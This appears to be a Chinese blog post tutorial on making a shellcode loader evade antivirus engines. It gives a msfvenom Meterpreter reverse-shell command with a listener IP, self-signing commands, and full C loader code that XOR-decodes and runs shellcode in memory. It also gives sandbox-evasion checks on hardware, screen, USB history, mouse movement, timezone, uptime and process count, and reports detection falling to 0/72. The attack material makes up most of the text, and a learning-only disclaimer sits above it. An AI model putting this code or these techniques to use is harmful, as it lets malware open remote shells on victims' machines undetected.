郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。
这是半成品,还有几个代码没敲完,还有点瑕疵
从编译角度来看免杀
全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,
删除链接库
有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib
),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。
这是系统自带的附加依赖,我们生产后放到TV中查杀看看

可以看到免杀率为28/72

接着把附加依赖项删除了,重新生成

可以看到我们绕过了5家杀软,免杀率23/72

知道PE原理的小伙伴可能会说把这个删了文件就无法加载kernel32.dll这个重要的文件了,其实当我们编译的时候vs2019会自动把该dll静态的链接到程序上
对二进制文件进行签名
我这里用到makecert
,这个软件当你装vs系列的编译器的时候就已经自带了
位置:vs2019->工具->命令行->里面cmd和powershell随便选一个都行
用法参数翻译过来如表格
基本选项 |
指定主题的证书名称。在双引号中指定此名称,并加上前缀 CN=;例如,“CN=myName”。 |
-pe |
将所生成的私钥标记为可导出。这样可将私钥包括在证书中。 |
-sk keyname |
指定主题的密钥容器位置,该位置包含私钥。如果密钥容器不存在,系统将创建一个。 |
-sr location |
指定主题的证书存储位置。Location 可以是 currentuser(默认值)或 localmachine。 |
-ss store |
指定主题的证书存储名称,输出证书即存储在那里。 |
-# number |
指定一个介于 1 和 2,147,483,647 之间的序列号。默认值是由 Makecert.exe 生成的唯一值。 |
-$ authority |
指定证书的签名权限,必须设置为 commercial(对于商业软件发行者使用的证书)或 individual(对于个人软件发行者使用的证书)。 |
可以使用如下命令
1.makecert -r -pe -n "CN=Ascotbe CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv AscotbeCA.pvk AscotbeCA.cer 2.certutil -user -addstore Root AscotbeCA.cer 3.makecert -pe -n "CN=Ascotbe Cert" -a sha256 -cy end -sky signature -ic AscotbeCA.cer -iv AscotbeCA.pvk -sv AscotbeCert.pvk AscotbeCert.cer 4.pvk2pfx -pvk AscotbeCert.pvk -spc AscotbeCert.cer -pfx AscotbeCert.pfx 5.signtool sign /v /f AscotbeCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll VirtualAllocPlanA.exe
|

可以看到利用证书后又绕过了4家杀软,免杀率19/72

使用X64位进行编译
当前的32位系统以及开始慢慢淘汰了,所以我们可以利用X64位的POC来进行编译,32位的POC已经是重灾区了
首先用msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -i 6 -b '\x00' lhost=192.168.0.161 lport=6666 -f c
|
接着重复上面两个步骤编译出来的程序放到TV中查杀下,可以发现免杀瞬间绕过了10个杀软,免杀率9/72

对ico图标进行更换
替换资源文件,有些杀软还会检查你的ico图标
检测设备和供应商名称
硬件大小检测
一般的电脑现在都是最少4G内存了,硬盘最少都是500G的,CPU核心数都是2个以上,而反观虚拟机上的大部分都是分配个双核,2G内存,60G硬盘
SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors; if (NumberOfProcessors < 2) { return 0; }
MEMORYSTATUSEX MemoryStatus; MemoryStatus.dwLength = sizeof(MemoryStatus); GlobalMemoryStatusEx(&MemoryStatus); DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) { return 0; }
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DISK_GEOMETRY pDiskGeometry; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL); DWORD diskSizeGB; diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) { return 0; }
|
利用检测基础硬件来绕过,发现可以再次绕过三家杀软,免杀率6/72

完整代码
#include <Windows.h> #include <stdio.h> #include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{ SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors; if (NumberOfProcessors < 2) { return 0; } MEMORYSTATUSEX MemoryStatus; MemoryStatus.dwLength = sizeof(MemoryStatus); GlobalMemoryStatusEx(&MemoryStatus); DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024; if (RAMMB < 2048) { return 0; }
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DISK_GEOMETRY pDiskGeometry; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL); DWORD diskSizeGB; diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024; if (diskSizeGB < 100) { return 0; }
unsigned char buf[] = "X64shellcode"; LPVOID Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
|
对上面代码的shellcode进行异或加密后,在执行的时候解密再次绕过三家杀软,免杀率3/72

具体代码如下
#include <Windows.h> #include <stdio.h> #include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{ SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors; if (NumberOfProcessors < 2) { return 0; } MEMORYSTATUSEX MemoryStatus; MemoryStatus.dwLength = sizeof(MemoryStatus); GlobalMemoryStatusEx(&MemoryStatus); DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024; if (RAMMB < 2048) { return 0; }
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DISK_GEOMETRY pDiskGeometry; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL); DWORD diskSizeGB; diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024; if (diskSizeGB < 100) { return 0; }
int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect;
unsigned char buf[] = "X64异或后的代码";
shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++) { buf[i] ^= 10; }
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode, buf, shellcode_size);
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
Sleep(2000);
hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId );
WaitForSingleObject(hThread, INFINITE); return 0;
}
|
再努努力绕过绕过全球杀软指日可待
硬件名称检测
特殊的注册列表
父进程
特殊的进程
已加载的库
窗口名称
检查屏幕分辨率
虚拟化环境很少使用多个显示器(尤其是沙箱)。虚拟显示器可能也没有特定的屏幕尺寸(尤其是处于自适应主机而不是全屏模式的时候,这时虚拟机窗口有滚动条或者选项卡),而有些沙箱甚至没有屏幕。
基于检测设备大小上面在加个检测分辨率
具体代码如下
#include <Windows.h> #include <stdio.h> #include <string.h> #include<devguid.h> #pragma comment(lib, "User32.lib ") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
bool HardwareCapacity() { SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors; if (NumberOfProcessors < 2) { return false; } MEMORYSTATUSEX MemoryStatus; MemoryStatus.dwLength = sizeof(MemoryStatus); GlobalMemoryStatusEx(&MemoryStatus); DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024; if (RAMMB < 2048) { return false;
}
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DISK_GEOMETRY pDiskGeometry; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL); DWORD diskSizeGB; diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024; if (diskSizeGB < 100) { return false; } return true; }
bool CALLBACK MonitorInfoCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data) { MONITORINFO MonitorInfo; MonitorInfo.cbSize = sizeof(MONITORINFO); GetMonitorInfoW(hMonitor, &MonitorInfo); int iXResolution = MonitorInfo.rcMonitor.right - MonitorInfo.rcMonitor.left; int iYResolution = MonitorInfo.rcMonitor.top - MonitorInfo.rcMonitor.bottom; if (iXResolution < 0) iXResolution = -iXResolution; if (iYResolution < 0) iYResolution = -iYResolution; if ((iXResolution != 1920 && iXResolution != 2560 && iXResolution != 1440) || (iYResolution != 1080 && iYResolution != 1200 && iYResolution != 1600 && iYResolution != 900)) { *((BOOL*)data) = true; } return true; }
bool MonitorInfo() { MONITORENUMPROC pMonitorInfoCallback = (MONITORENUMPROC)MonitorInfoCallback; int iXResolution = GetSystemMetrics(SM_CXSCREEN); int iYResolution = GetSystemMetrics(SM_CYSCREEN); if (iXResolution < 1000 && iYResolution < 1000) { return false; }
int iNumberOfMonitors = GetSystemMetrics(SM_CMONITORS); bool bSandBox = false; EnumDisplayMonitors(NULL, NULL, pMonitorInfoCallback, (LPARAM)(&bSandBox)); if (bSandBox) { return false; } return true;
} int main()
{ bool bHardwareDetection = true; bool bWindowDetection = true; bHardwareDetection =HardwareCapacity(); bWindowDetection=MonitorInfo(); if (bHardwareDetection == false || bWindowDetection == false) { return 0; }
int shellcode_size = 0; DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect;
unsigned char buf[] = "X64shellcode";
shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++) { buf[i] ^= 10; }
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode, buf, shellcode_size);
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
Sleep(2000);
hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId );
WaitForSingleObject(hThread, INFINITE); return 0;
}
|
到现在又绕过了两家杀软,目前就剩下一家了,免杀率1/72

检测系统是否是刚装的
大多数分析的系统都是新的,比如说专门分析的虚拟机会拍摄快照方便回滚,而快照大部分都是初始化的系统,比如注册列表不存在有U盘插上过
bool UsbNumberJudgment() { HKEY hKey; DWORD dwMountedUSBDevicesCount; RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey); RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwMountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (dwMountedUSBDevicesCount < 1) { return false; } return true; }
|
检测鼠标移动轨迹
沙箱嘛,有些肯定是没有鼠标的,可以设置鼠标移动轨迹,如果移动多少距离才执行shellcode.
bool DetectMouseMovementTrack() { POINT CurrentMousePosition; POINT PreviousMousePosition; GetCursorPos(&PreviousMousePosition); double dMouseDistance = 0; while (true) { GetCursorPos(&CurrentMousePosition); dMouseDistance += sqrt( pow(CurrentMousePosition.x - PreviousMousePosition.x, 2) + pow(CurrentMousePosition.y - PreviousMousePosition.y, 2) ); Sleep(100); PreviousMousePosition = CurrentMousePosition; if (dMouseDistance > 20000) { return true; } } }
|
有下面可以看见我们鼠标移动的距离,直到我们设定的距离后才退出

检查时间
有些沙箱嘛,为了快速的结束检测会加速当前时间,毕竟检测一个病毒并不能花太多时间。
首先检测时区是否对应
比如你的目标是中欧的,那么他的时区就是CENTRAL EUROPEAN STANDARD TIME
,我本地是NORTH ASIA EAST STANDARD TIME
,所有我用该值来判断,视目标位置来具体判断
bool TimeZoneDetection() { SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT)); DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo; GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo); wchar_t wcTimeZoneName[128 + 1]; StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName); CharUpperW(wcTimeZoneName); if (!wcsstr(wcTimeZoneName, L"NORTH ASIA EAST STANDARD TIME")) { return false; } return true; }
|
检查时间流动性
该方法通过检查CPU周期的时间和当前UNIX时间戳是否流动相关,如果超过了那么要么是在调试,要么是在沙箱里面
bool TimeAcceleratedJudgment() { clock_t ClockStartTime, ClockEndTime; time_t UnixStartTime = time(0); ClockStartTime = clock(); Sleep(10000); ClockEndTime = clock(); time_t UnixEndTime = time(0);
int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime); if (iTimeDifference>150) { return false; } return true; }
|
检查系统运行时间
虚拟机容易回滚,那么运行的时间肯定是很短的,那么就判断时间就好
bool CheckRunningTime() { ULONGLONG uptime = GetTickCount64() / 1000; std::cout << uptime; if (uptime < 1200) { return false; } return true; }
|
检查运行进程数量
沙箱是精简版的系统,就是说能少运行就少运行,能不运行就不运行,所以我们可以查看系统进程来判断是否在虚拟机中
bool CheckTheNumberOfProcesses() { DWORD dwRunningProcessesIDs[1024]; DWORD dwRunningProcessesCountBytes; DWORD dwRunningProcessesCount; EnumProcesses(dwRunningProcessesIDs, sizeof(dwRunningProcessesIDs), &dwRunningProcessesCountBytes); dwRunningProcessesCount = dwRunningProcessesCountBytes / sizeof(DWORD); if (dwRunningProcessesCount < 50) { return false; } return true; }
|
百分百免杀
到检测分辨率那边,就剩下一家没绕过了,后面测试了好多种方法都还是绕不过去,然后看那边报毒是X64 木马程序,我就预感到可能是因为字符串的问题导致没绕过去的,最后面把代码换成N个字符串相加即可,尝试这样拼接。
挑战全球杀软成功!免杀率0/72

参考文章 https://0xpat.github.io/Malware_development_part_2/ https://www.freebuf.com/articles/system/122134.html
|